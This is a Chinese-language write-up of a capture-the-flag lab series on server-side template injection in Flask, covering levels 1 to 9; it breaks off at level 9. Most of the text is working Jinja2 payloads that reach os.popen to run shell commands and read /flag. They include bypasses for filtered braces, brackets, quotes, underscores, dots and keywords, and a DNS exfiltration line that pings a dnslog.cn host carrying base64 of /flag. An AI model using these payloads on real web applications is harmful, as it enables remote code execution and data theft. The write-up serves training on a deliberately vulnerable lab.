Ssti-Flask-Labs-[1-13]-wp

放假了,终于能安心学了

Level 1

1
2
3
4
5
6
7
8
9
10
查看所有的继承关系
{{''.__class__.__mro__}}
查看父类的所有子类
{{''.__class__.__mro__[1].__subclasses__()}}
FUzz所有子类
{{''.__class__.__mro__[1].__subclasses__()[{{int(0-500)}}]}}
或者直接用内嵌eval加载,再结果里面查找eval
{{''.__class__.__base__.__subclasses__()[{{int(0-500)}}].__init__.__globals__['__builtins__']}}
81这个
{{().__class__.__base__.__subclasses__()[81].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

Level 2

过滤了双左大括号 用jafhajlkf绕过
1
2
依然采用Level 1 的Payload
{% print().__class__.__base__.__subclasses__()[81].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')%}

Level 3

无回显SSti

用dns外带

1
2
3
4
依然采用Level 1 的Payload
{{().__class__.__base__.__subclasses__()[X].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ping `cat /flag | base64`.r1j496.dnslog.cn").read()')}}


Level 4

`bl['[', ']']`过滤了左右中括号`[]`

利用__getitem__()绕过中括号过滤,__getitem__()是一种魔术方法

对字典使用时,传入字符串,返回字典相应键所对应的值,当对列表使用时,传入整数返回列表对应索引的值

1
2
{{ ''.__class__.__base__.__subclasses__()}} 
返回的是一个列表(中括号包裹)

那么用__getitem__()来绕过

1
2
3
4
5
6
FUzz所有类
{{ ''.__class__.__base__.__subclasses__().__getitem__({{int(0-500)}})}}
FUzz模块,这里返回的是字典(大括号包裹)
{{ ''.__class__.__base__.__subclasses__().__getitem__({{int(0-500)}}).__init__.__globals__}}
注意这里是字典,调用eval执行
{{ ''.__class__.__base__.__subclasses__().__getitem__({{int(117)}}).__init__.__globals__.__builtins__.__getitem__('eval')('__import__("os").popen("cat /flag").read()')}}

Level 5

`bl['\'', '"']`过滤了单引号和双引号` ' "`

用request来绕过

1
2
3
4
5
获取get提交数据:{{request.args.key}}
获取POST提交数据:{{request.form.key}}
获取cookie提交数据:{{request.cookies.key}}

key均为参数名称
1
2
3
4
5
先来查找一下那里加载了request
Fuzz所有类,request可以在'os._wrap_close'找到
{{ ().__class__.__base__.__subclasses__()[{{int(0-500)}}].__init__.__globals__}}
用Post传参从而绕过了引号
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.key1](request.form.key2).read()}}&key1=popen&key2=cat /flag

Level 6

`bl['_']`过滤下划线`_` 利用过滤器配合request来过滤

可以用过滤器,但是用Request更加方便

1
2
3
4
5
6
获取子类
{{''[request.form.key1][request.form.key2][-1][request.form.key3]()}}&key1=__class__&key2=__mro__&key3=__subclasses__
!!!下面这段代码不行!!!
{{''[request.form.key1][request.form.key2][-1][request.form.key3]()}}&key1=__class__&key2=__mro__&key3=__subclasses__
执行命令
{{''[request.form.key1][request.form.key2][-1][request.form.key3]()[{{int(0-500)}}][request.form.key4][request.form.key5]['os'].popen('whoami').read()}}&key1=__class__&key2=__mro__&key3=__subclasses__&key4=__init__&key5=__globals__

Level 7

`bl['.']` 过滤`.`用中括号[代替点

除了可以使用点”来访问对象属性外,还可以使用中括号

1
{{''['__class__']['__mro__'][-1]['__subclasses__']()[117]['__init__']['__globals__']['popen']('whoami')['read']()}}

Level 8

1
2
过滤了一系列关键字
bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

最简单的方法,直接用+拼接

1
{{''['__cl'+'ass__']['__mr'+'o__'][-1]['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['pop'+'en']('whoami')['read']()}}

Level 9

`bl['0-9']`过滤了数字